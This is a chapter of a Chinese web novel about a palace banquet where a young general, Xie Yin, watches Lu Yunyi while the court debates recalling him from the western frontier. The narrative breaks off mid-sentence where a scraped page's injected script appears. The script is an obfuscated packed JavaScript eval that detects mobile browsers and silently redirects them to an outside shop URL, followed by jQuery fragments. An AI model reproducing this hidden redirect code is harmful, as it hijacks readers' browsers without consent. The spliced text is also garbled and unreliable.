21. 宫宴

作品:《作壁上观

    谢随将陆云衣送到浮碧亭前的一座的小拱桥便离开了。


    刚走到桥上,遇上了从寝殿出来的谢二夫人与谢璇,谢璇的脸色已经好了许多,众人便一道去往宫宴。


    夜色更浓了,长春殿内,珠帘低垂,绫罗的锦帐随着人影走动掀起的风轻曳,整个殿堂灯火通明,桌案上摆放着精致的玉盘金蝶酒杯,熠熠生辉。


    桌上是各色茶点和新鲜的果子,甚至还有一小碟西域的葡萄,晶莹剔透甚是可爱。


    陆云衣伸出手,想摘一个,却被采月拉住衣袖,小声说道,“云衣姑娘,皇上还未到,不可动筷。”


    她收回手指,望了望殿中,开阔的长春殿坐满了人,却无喧哗之声。


    文武百官身着紫色、绯色的朝服,很是严整,女眷们的坐席安排在其对面,各色的裙裾衣袍,琳琅满目。中间的坐席是异国使者,他们身着自己国家的盛装华服,别具一格。


    众人都端坐在桌前,或小声侧头与旁桌交耳,或观赏殿中央的歌舞。舞伎彩衣翩跹,伴着乐官们吹奏箜篌,弹奏弦乐之音起舞。


    陆云衣坐席很靠后,远远的,她望见最高处的龙椅,金漆雕鳞,盘龙踞守,煌煌生辉,华贵非凡。


    她又看了看左右,确实没人吃东西,只能无聊地四处张望,不想正撞进了一双幽黑的眸中。


    陆云衣一进长春殿,谢随一眼就在人群中看见了她。


    殿内架着碳炉,暖乎乎的。采月帮她脱下披风,露出里面鲜亮的长裙。


    一条湖蓝色的腰带紧紧系在腰间,又将玲珑身姿展露个彻底。


    长春殿右侧皆是女眷,个个衣着艳丽,在一片姹紫嫣红的霞影云绫间,陆云衣已经在最偏僻的一角,还是如此惹眼。


    谢随拧着眉,眼神的余光在殿中转了一圈,幸而无人发现对面的迤逦。


    好在陆云衣很快便坐下了,桌案挡住了她大半个身子,谢随才松了一口气。


    陆云衣一坐下就被桌上的葡萄吸引。伸手想拿,似被采月阻止了。


    他看了看自己桌案上的一大串葡萄,饱满青翠,虽然大晋也有葡萄,但西域的这种青提个头极大,味道甘甜,是个稀罕物。


    在关西之地,毗邻西域,随着边关日益和平,商路贸易也渐渐热闹起来,西域的瓜果时常能吃到,谢随倒觉得算不上稀奇。


    他唤来谢安,耳语几句,谢安看了看陆云衣的方向,从善如流地将桌案上的葡萄端走。


    再抬眼,陆云衣一张笑脸正好映入眼帘,谢随像被抓包,不着痕迹地移开目光。


    一个尖利的声音传进殿中,“皇上驾到!”


    原本安静的彻底寂静下来。丝竹管弦声停下,舞伎也退到殿旁跪下,众人皆窸窸窣窣地动起来,跪下恭迎。


    又有宫人呼道,“太后娘娘驾到!”


    “皇后娘娘驾到!”


    陆云衣跟着众人跪在桌旁,恭敬垂首。


    她偷偷抬头瞥了一眼,一个身着明黄色上绣着金龙锦袍殿高大身影从殿门跨过,又回头去搀着太后。


    大晋以孝治天下,晋安帝更是以身作则,奉太后至恭至谨,礼极尊隆。


    在他们身后是一个身着织金凤穿牡丹长袍宫装,高耸的发髻上戴着一个点翠的金凤冠,想来她就是皇后了。


    昭华、昭兰两位公主乖顺地跟在最后。


    皇上先送太后安坐好,才走上他的龙椅入座。


    “众卿平身。”


    “如今四海升平,万疆昌和,四海之内皆是亲朋,今日就当是家宴,不必拘礼,尽管畅饮!”


    众人又高呼几声万岁。


    陆云衣听这话知道现在可以吃了,立刻揪了一颗青提。


    清冽甘甜,味道果然和她想象中的一样好。


    这时有一高昌使者出列,又向晋安帝行跪拜大礼,说道,“此次朝访大晋,有幸遍览上京城内外三月之久。鄙人所见民生安乐、街市繁华,宛若人间天堂。”


    于是更加恭敬道,“更蒙大晋不以高昌国小而轻慢,仍诚挚愿与高昌结交。此实为高昌之幸,亦足见大晋陛下胸怀四海、泽被万邦之仁德。”


    说着又是一拜。


    晋安帝抬手示意他起身,“西域列邦虽幅员不广,但也各有所长,风物独具。但若能谨守本分,不兴干戈,助我大晋关西安宁,大晋自可庇佑诸国长久。到时商路畅通,往来络绎,珍宝互通、民生共裕,方为长久相处之道。”


    诸国使臣皆起身跪拜,“陛下圣明,我等愿尽心力,共护两国疆安,永固邦谊。”


    殿前说话间,宫女们敛息垂目,如游云般穿行于席间,为众人呈上,各种美酒佳肴。


    玉露团、金缕燕窝羹、水晶肘子、玛瑙鱼唇……摆了满满一桌案。


    还有一壶宫中御酒——蔷薇露,倒入杯中,当真有一股蔷薇香扑鼻。


    陆云衣浅浅尝了一口,入口清甜润喉,忍不住将一整杯喝完。


    不知何时桌上竟多了一大盘鲜美的青提,她还以为刚才是宴席还未开始的前菜,现在这盘才是正经分量。


    丝毫没有注意到旁边的桌案一直只有一小碟。


    席间忽有官员慨言道:“如今关西安定,西戎收敛。全赖谢家领兵忠勇,尤其是谢少将军,麾下的玄铁军更是善战能守,不愧是定公将军后人!若非谢家坐镇西陲,西戎那些肖小之辈,恐不知有多猖獗!”


    此言一出,殿中顿时安静了一瞬,随即便听到谢随冷肃的声音,“张大人,慎言!”


    他一身玄衣劲装立在满殿紫绯官袍的官员之间,如沉铁坠入云锦,嶙峋而傲然。


    对着刚才发言的男子说道,“西戎安分,边关稳固全仰仗陛下承天受命、龙德昭彰,治国安邦,圣断如神。”


    又朝着晋安帝恭敬地说道,“无论是定西军还得玄铁军,皆是大晋之师、天子之师。关西之地固若金汤,全因陛下圣德垂佑,天威所护。”


    “那是自然!”二皇子也站起来,不知何时他已经换了一身月白色金绣麒麟的衣袍,更加华贵,他站起来高声说道,“我泱泱大晋,海内宴然,此皆因陛下龙德巍巍,天威远播,方令觊觎之族,不敢妄生衅端。”


    他顿了顿,面朝谢随站立,又开口道,“既然现下边关无警,谢大将军戎马半生,赫赫威名足以震慑关西。少将军英年锐气,神武韬略,长留边塞岂非可惜?倒不如调回上京,也好为大晋多操练几支如玄铁军一样的精锐——毕竟,京畿的安危,更需要这般良将。”


    话音刚落,文武百官顿时一片哗然,要知道谢随十五岁便上了战场,这些年连年征战,身负重伤亦未卸甲,不论军功显赫,更可以说是劳苦功高。


    又有一个声音传来,“皇弟此言差矣。关西边线绵延千里,若非谢大将军坐镇不足以慑服诸藩;而少将军骁锐善攻,正可专力征伐西戎。一守一攻,相辅相成,才让西境偃旗,边关绥靖。”


    说话的原来是太子殿下,他的声线温厚平和,语速不急不缓,沉稳至极。


    “倘若贸然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077801|195293||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    将少将军召回京师,西戎豺狼之辈,恐生窥伺之心,边衅再起矣。”


    晋安帝听着堂下你一言我一语,不以为然,如今西域诸国皆诚服于大晋,那西戎孤立无援,成不了气候。不如就老二所说的,召谢随回京操练禁军。


    他沉吟一番,说道,“太子多虑了,正如你说的,谢大将军善守,现在举国风平浪静,便是对他守势最好的成全。让他守着吧,太平年月,才更见守江山的本事。”


    “禁军是朕的倚仗,谢随你若去历练一番——整肃军容、磨砺心志,对你日后当有裨益。你可愿意去禁军中操练一番?”


    殿中所有人的目光都汇聚在谢随身上。


    谢随没有表情的面上更加冷肃,他背脊挺直,掀开劲装下摆,跪地叩拜。


    “臣蒙皇上信赖,委以禁军之责。臣必当夙夜勤勉、整军经武,绝不负天威所托!”


    众人脸上神色各异,谢家众人眉头紧锁,太子一贯温和的面上也露出一丝难忍。唯有二皇子一党,面露喜色。


    这时乌国的使臣阿史那说道,“久闻谢少将军马娴熟,谋略过人,只遗憾未曾亲眼见过,今日既有这般机缘,不知可否让我等一睹谢少将军风采?”


    谢倬心中暗暗啐了一声,站起来说道,“行军布阵,不在独勇。何况今日太后、皇后凤驾在此,若真挥戈演武,恐惊銮仪。听闻礼部所排《广陵破阵舞》,深合兵家进退之妙——不如共赏此舞,既合雅兴,亦见韬略。”


    上座的太后一听,也点头赞同,她最是不喜舞刀弄枪的场面。


    鼓声渐起,一群舞伎着玄衣披帛鱼贯而出。她们以披帛为戟,在步伐交错间,以“戟”相击。


    忽闻鼓点密传,如马蹄击原,舞阵骤合,“戟”尖齐齐指向中天,仿佛万箭待发前那一刹的凝寂。


    忽有笛声破阵而入,舞者身影渐缓,戟锋画弧而收,如收刀入鞘。最后一声钟鸣里,众人分列两翼,躬身如新月——方才的杀伐之气,竟化作殿前一片肃穆的弧。


    陆云衣吃光了一大盘葡萄,蔷薇露也下肚了好几杯,面颊泛着桃色。


    殿中的舞曲已经换作了悠扬的胡琴,一面大鼓被抬到殿中央,鼓面上竟立着一个头戴面纱,一身红色纱裙漏着两条白嫩的胳膊和纤细腰肢的舞者。


    只见她双足如陀螺踏鼓,裙裾霎时绽作流火的圆;腰间金铃急响,腰肢似无骨的柳。越转越疾,越疾越艳,整个人化作一团裹着烟霞的旋风,唯有腕间银钏与足下铃铛,在疾光中溅出清凌凌的碎响。


    悠扬的胡琴声像绕在长春殿的梁上盘旋,像风拂过塞外的沙丘,像驼铃在宕泉谷中回荡。


    陆云衣眼神开始飘忽,似乎她眼前不是觥筹交错的皇宫盛宴,而是斧声凿凿,车马马辚辚的三危山。


    舞女如云的殿堂,像是云雾中翩跹的神女,五彩披帛飘飞。


    陆云衣眼神逐渐迷离,恍惚间像是回到崖壁之上,她不禁举起一只柔荑,洁白的皓腕上两只手钏顺势落下,发出一声清脆的叮当声。


    殿中已开始推杯换盏,气氛已然热烈起来,手钏间相撞的声响不算突兀,但还是让耳力异于常人的谢随捕捉到了。


    他的视线穿过人影交错的殿堂和飞舞的披帛,落在半空中舒展的那只修长手腕上,如凝脂的纤纤玉手,白的晃眼。谢随的眸色变得更加幽深。


    琴声渐缓,鼓上的舞者旋回原点,裙摆如花瓣缓缓收拢,唯余腰间的银铃微颤——仿佛方才那场疾风般的旋转,只是一刹恍惚的梦。